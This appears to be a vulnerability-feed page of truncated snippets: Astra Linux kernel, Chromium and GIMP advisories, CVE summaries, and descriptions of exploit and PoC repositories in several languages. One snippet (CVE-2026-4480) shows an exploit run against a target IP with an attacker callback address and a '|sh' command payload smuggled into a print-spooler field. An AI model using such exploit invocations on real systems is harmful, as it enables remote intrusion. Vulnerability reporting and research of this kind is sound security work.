Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: sysctl: Always initialize iuid/igid. iuid/igid is always initialized within the sysfs core, so setownership can safely skip setting them. The commit 5ec27ec735ba from “fs/proc/procsysctl.c: fix the default values of iuid/igid on...

Astra Linux – Vulnerability in Chromium

The use of after-free in Views in Google Chrome before version 149.0.7827.53 allowed a remote attacker who convinced a user to perform certain UI gestures to potentially exploit heap corruption through a crafted HTML page. Chromium security severity: Medium...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ALSA: In the seq function, there is a issue where closing a timer that was re-opened within the destructor may cause issues. The queuedelete function closes the timer and frees it. The sndseqtimerclose function clears...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ipmi: Revised the handling of user message limits. The limit on the number of user messages had several issues; improper counting occurred in some cases, and there were issues with operations after memory allocation. The process...

Astra Linux – Vulnerability in GIMP

GIMP PSD File Parsing: Heap-Based Buffer Overflow and Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability, as the target must visit a malicious page ...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fixed a double-free in rxesrqfrominit. In rxesrqfrominit, the queue pointer ‘q’ is assigned to ‘srq-rq.queue’ before copying the SRQ number to user space. If copytouser fails, the function calls rxequeuecleanup to free...

Threaded-CVE-2018-15473

CVE-2018-15473 — Инструмент перебора имен пользователей SSH Репликация на Python 3 классического эксплойта перечисления пользователей OpenSSH CVE-2018-15473, расширенная многопоточностью, поддержкой wordlist, автоматическим обнаружением уязвимости и потокобезопасным патчем эксплойта. Содержание О...

WiseDelete

WiseDelfile 드라이버 래퍼 경량 Windows 유틸리티로, WiseDelfile64.sys 커널 드라이버를 로드하고, 필요한 디바이스 핸드셰이크를 수행하며, 표준 Windows API로는 삭제할 수 없는 파일을 삭제하기 위해 IOCTL 요청을 전송합니다. 이 프로젝트는 CVE-2025-66680 이 드라이버를 로드한 후 사용자 모드에서 드라이버의 파일 삭제 기능을 호출하는 데 어떻게 사용될 수 있는지 보여줍니다. Features 런타임에 WiseDelfile64.sys를 로드하고 언로드합니다. 필요한 드라이버 핸드셰이...

CVE-2026-4480

익스플로잇 실행: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated payloa...

check-cve-2026-23111

CVE-2026-23111 Защитный проверочный скрипт Обзор CVE-2026-23111 — это уязвимость ядра Linux в nftables, которая может быть использована для локального повышения привилегий непривилегированным пользователем в системах, где доступны пользовательские пространства имён и nftables.12 Публичные...

CVE-2024-49328-exploit

CVE-2024-49328-exploit 🌟 Описание: Этот скрипт эксплуатирует уязвимость повышения привилегий в плагине WP REST API FNS для WordPress. Уязвимость затрагивает все версии до 1.0.0 включительно, что позволяет неаутентифицированным атакующим получить привилегии администратора. ⚙️ Использование options:...

CVE-2023-38831

CVE-2023-38831 POC-демонстрация CVE-2023-38831 Краткое описание уязвимости CVE-2023-38831 — это программная уязвимость. Эксплуатируемое программное обеспечение — WinRAR, который широко используется практически всеми. Это программное обеспечение помогает упаковывать различные документы или файлы в...

CVE-2023-4279

Идентификатор CVE : CVE-2023-4279 Тип уязвимости : Спуфинг IP-адреса Описание : Этот плагин извлекает IP-адреса клиентов из потенциально ненадёжных заголовков, что позволяет злоумышленнику манипулировать их значением. Это может быть использовано для скрытия источника вредоносного трафика. Шаги дл...

audit-xss-cve-2020-7934

CVE 2020-7934 Как запустить CVE Требования 1. docker Замечания можно разместить скрипт атаки онлайн учитывая js код http://yourjavascript.com/ Наш JS скрипт онлайн для атаки html Команды для настройки 1. перейдите в корневую папку этого проекта 2. выполните "sudo docker-compose up --build" 3. нов...

CVE-2026-20896

CVE-2026-20896: PoC обхода аутентификации в Docker-образе Gitea !WARNING Используйте этот PoC только в локальной лаборатории или против системы, на тестирование которой у вас есть явное разрешение. https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b Обзор CVE-2026-2089...

CVE-2018-7600

CVE-2018-7600 Drupalgeddon2 Exploit – Python3 ПРЕДУПРЕЖДЕНИЕ: Этот проект предназначен только для образовательных целей и авторизованного тестирования на проникновение. НЕ используйте этот код на системах, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения...

CVE-2026-105253

A vulnerability was determined in itsourcecode Online Admission System Project 1.0. This issue affects some unknown processing of the file /admin/login1.php. This manipulation of the argument User causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed...

CVE-2026-103511

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2023-3897

CVE-2023-3897 Перечисление имен пользователей возможно путем обхода CAPTCHA в On-premise решении SureMDM при развертывании на Windows — это позволяет злоумышленнику перечислять информацию о локальных пользователях через сообщение об ошибке. Проблема затрагивает SureMDM On-premise: версии 6.31 и...

CVE-2026-20841

CVE-2026-20841 - Exécution de code à distance RCE dans le Bloc-notes Windows Dépôt de recherche en sécurité et d'analyse technique ⚠️ Ce dépôt est destiné uniquement à des fins éducatives, défensives et de recherche. 📖 Présentation CVE-2026-20841 est une vulnérabilité critique d'exécution de code ...